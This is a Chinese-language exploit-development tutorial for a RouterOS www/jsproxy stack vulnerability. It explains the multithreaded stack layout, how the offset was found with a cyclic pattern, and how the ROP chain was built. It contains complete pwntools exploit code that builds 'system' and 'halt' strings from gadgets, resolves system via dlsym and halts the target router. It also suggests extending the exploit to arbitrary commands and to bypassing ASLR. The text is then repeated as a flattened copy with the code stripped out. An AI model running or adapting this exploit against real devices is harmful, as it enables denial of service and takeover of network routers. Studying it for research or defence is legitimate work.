一步一步 Pwn RouterOS之Exploit构造
字数 1462 2025-08-25 22:59:03

RouterOS漏洞利用开发教程:从漏洞分析到Exploit构造

1. 漏洞背景与前期准备

本教程基于RouterOS系统中的www服务漏洞,该漏洞存在于jsproxy处理模块中。在开始之前,我们已经完成了以下准备工作:

  1. 漏洞分析:确定了漏洞存在于处理HTTP请求的Content-Length头部时
  2. 调试环境搭建:配置了RouterOS调试环境
  3. 漏洞原理理解:确认这是一个通过alloca函数不当使用导致的栈操作问题

2. 漏洞利用能力分析

当前我们掌握的关键能力:

  • 可以利用alloca的sub esp *操作抬高栈指针
  • 可以向抬高的栈空间写入任意数据
  • 关键挑战:栈上方通常是堆空间,地址不固定,难以直接利用

3. 多线程机制与利用思路

3.1 多线程栈布局

在多线程环境中,每个线程都有自己的栈空间,这些栈空间位于进程的栈区域内:

  • 线程栈按照创建顺序依次排列
  • RouterOS中www服务的线程栈大小默认为0x20000(通过pthread_attr_setstacksize设置)
  • 线程栈之间是相邻的,地址差固定

3.2 利用思路

当同时建立两个socket连接时:

  1. 主线程创建两个工作线程(线程1和线程2)处理连接
  2. 在线程1中触发漏洞,可以修改线程2的栈数据
  3. 目标是修改线程2的返回地址,实现ROP利用

4. 偏移量确定技术

由于线程栈大小为0x20000,我们使用cyclic模式确定精确偏移:

from pwn import *

def makeHeader(num):
    return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"

s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80)

s1.send(makeHeader(0x20900))  # 触发漏洞
sleep(0.5)
s2.send(makeHeader(0x100))    # 第二个连接
sleep(0.5)
s1.send(cyclic(0x2000))       # 发送测试模式
sleep(0.5)
s2.close()                    # 触发崩溃

通过崩溃时的EIP值,计算cyclic模式的偏移量,确定返回地址的位置。

5. ROP链构造技术

5.1 面临的挑战

  • 程序中没有直接可用的system函数
  • 只有一次输入机会,难以布置多个字符串参数
  • ROP链执行过程中可能被破坏

5.2 解决方案

  1. 栈调整:使用ret 0x1bb指令移动栈指针,避免ROP链被破坏
  2. 字符串构造:分阶段使用strncpy构造所需字符串
    • 分3次构造"system"字符串
    • 分2次构造"halt"命令字符串
  3. 函数地址获取:使用dlsym动态获取system地址
  4. 函数调用:通过jmp eax调用获取到的system函数

5.3 关键ROP组件

# 关键函数地址
strncpy_plt = 0x08050D00
dlsym_plt = 0x08050C10
system_addr = 0x0805C000 + 2
halt_addr = 0x805c6e0

# ROP gadget
ppp_addr = 0x08059C03  # pop edx; pop ebx; pop esi; pop edi; pop ebp; ret
pp_addr = 0x08059C04   # pop ebx; pop esi; pop ebp; ret
pppppr_addr = 0x080540b4
ret_1bb = 0x0805851f   # ret 0x1bb
ret = 0x0804818c       # 普通ret

5.4 字符串构造技巧

构造"system"字符串示例:

  1. 使用strncpy从".text"段复制"sys":

    p32(strncpy_plt)
    p32(pppppr_addr)
    p32(system_addr)      # 目标地址
    p32(0x0805ab58)       # 源地址(包含"sys")
    p32(3)                # 复制长度
    
  2. 复制"te":

    p32(strncpy_plt)
    p32(pppppr_addr)
    p32(system_addr + 3)  # 目标地址偏移
    p32(0x0805b38d)       # 源地址(包含"te")
    p32(2)                # 复制长度
    
  3. 复制"m":

    p32(strncpy_plt)
    p32(pppppr_addr)
    p32(system_addr + 5)  # 目标地址偏移
    p32(0x0805b0ec)       # 源地址(包含"m")
    p32(1)                # 复制长度
    

同样方法构造"halt"命令字符串。

6. 完整Exploit流程

  1. 初始化两个连接
  2. 发送精心构造的Content-Length头部触发漏洞
  3. 构建ROP链:
    • 调整栈指针
    • 分阶段构造"system"和"halt"字符串
    • 调用dlsym获取system地址
    • 调用system("halt")
  4. 触发漏洞执行

完整Exploit代码:

from pwn import *

def makeHeader(num):
    return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"

s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80)

s1.send(makeHeader(0x20900))
sleep(0.5)
s2.send(makeHeader(0x100))
sleep(0.5)

# ROP链构造
payload = ""
payload += p32(ret_1bb)  # 栈调整
payload += p32(ret)
payload += "A" * 0x1bb
payload += p32(ret)

# 构造system字符串
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr)
payload += p32(0x0805ab58)  # "sys"
payload += p32(3)
payload += "B" * 8

payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 3)
payload += p32(0x0805b38d)  # "te"
payload += p32(2)
payload += "B" * 8

payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 5)
payload += p32(0x0805b0ec)  # "m"
payload += p32(1)
payload += "B" * 8

# 构造halt字符串
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr)
payload += p32(0x0805670f) 
payload += p32(2)
payload += "B" * 8

payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr + 2)
payload += p32(0x0804bca1)
payload += p32(2)
payload += "B" * 8

# 调用dlsym获取system地址
payload += p32(dlsym_plt)
payload += p32(pp_addr)
payload += p32(0)              # 第一个参数
payload += p32(system_addr)    # 第二个参数("system")
payload += p32(0x0804ab5b)     # 返回地址
payload += "BBBB"              # 填充

# 调用system("halt")
payload += p32(halt_addr)

s1.send(cyclic(1612) + payload + "B" * 0x100)
sleep(0.5)
s2.close()

7. 关键知识点总结

  1. 多线程栈布局:理解线程栈的排列方式和大小是漏洞利用的基础
  2. 精确偏移确定:使用cyclic模式确定返回地址的精确偏移
  3. ROP链构造
    • 使用ret指令调整栈指针
    • 分阶段构造必要字符串
    • 利用现有代码片段拼接所需功能
  4. 动态函数解析:使用dlsym获取未导出函数的地址
  5. 调试技巧:ROP链被破坏时,使用栈调整指令绕过

8. 扩展思考

  1. 如何适应不同版本的RouterOS?
  2. 除了halt命令,如何实现更复杂的命令执行?
  3. 如何绕过可能存在的防护机制(如ASLR)?
  4. 如何将这种技术应用于其他多线程环境下的漏洞利用?

通过本教程,你应该掌握了从漏洞分析到Exploit构造的完整流程,特别是多线程环境下的特殊利用技巧和ROP链的精细构造方法。

RouterOS漏洞利用开发教程:从漏洞分析到Exploit构造 1. 漏洞背景与前期准备 本教程基于RouterOS系统中的www服务漏洞,该漏洞存在于jsproxy处理模块中。在开始之前,我们已经完成了以下准备工作: 漏洞分析:确定了漏洞存在于处理HTTP请求的Content-Length头部时 调试环境搭建:配置了RouterOS调试环境 漏洞原理理解:确认这是一个通过alloca函数不当使用导致的栈操作问题 2. 漏洞利用能力分析 当前我们掌握的关键能力: 可以利用alloca的 sub esp * 操作抬高栈指针 可以向抬高的栈空间写入任意数据 关键挑战:栈上方通常是堆空间,地址不固定,难以直接利用 3. 多线程机制与利用思路 3.1 多线程栈布局 在多线程环境中,每个线程都有自己的栈空间,这些栈空间位于进程的栈区域内: 线程栈按照创建顺序依次排列 RouterOS中www服务的线程栈大小默认为0x20000(通过 pthread_attr_setstacksize 设置) 线程栈之间是相邻的,地址差固定 3.2 利用思路 当同时建立两个socket连接时: 主线程创建两个工作线程(线程1和线程2)处理连接 在线程1中触发漏洞,可以修改线程2的栈数据 目标是修改线程2的返回地址,实现ROP利用 4. 偏移量确定技术 由于线程栈大小为0x20000,我们使用cyclic模式确定精确偏移: 通过崩溃时的EIP值,计算cyclic模式的偏移量,确定返回地址的位置。 5. ROP链构造技术 5.1 面临的挑战 程序中没有直接可用的system函数 只有一次输入机会,难以布置多个字符串参数 ROP链执行过程中可能被破坏 5.2 解决方案 栈调整 :使用 ret 0x1bb 指令移动栈指针,避免ROP链被破坏 字符串构造 :分阶段使用strncpy构造所需字符串 分3次构造"system"字符串 分2次构造"halt"命令字符串 函数地址获取 :使用dlsym动态获取system地址 函数调用 :通过jmp eax调用获取到的system函数 5.3 关键ROP组件 5.4 字符串构造技巧 构造"system"字符串示例: 使用strncpy从".text"段复制"sys": 复制"te": 复制"m": 同样方法构造"halt"命令字符串。 6. 完整Exploit流程 初始化两个连接 发送精心构造的Content-Length头部触发漏洞 构建ROP链: 调整栈指针 分阶段构造"system"和"halt"字符串 调用dlsym获取system地址 调用system("halt") 触发漏洞执行 完整Exploit代码: 7. 关键知识点总结 多线程栈布局 :理解线程栈的排列方式和大小是漏洞利用的基础 精确偏移确定 :使用cyclic模式确定返回地址的精确偏移 ROP链构造 : 使用ret指令调整栈指针 分阶段构造必要字符串 利用现有代码片段拼接所需功能 动态函数解析 :使用dlsym获取未导出函数的地址 调试技巧 :ROP链被破坏时,使用栈调整指令绕过 8. 扩展思考 如何适应不同版本的RouterOS? 除了halt命令,如何实现更复杂的命令执行? 如何绕过可能存在的防护机制(如ASLR)? 如何将这种技术应用于其他多线程环境下的漏洞利用? 通过本教程,你应该掌握了从漏洞分析到Exploit构造的完整流程,特别是多线程环境下的特殊利用技巧和ROP链的精细构造方法。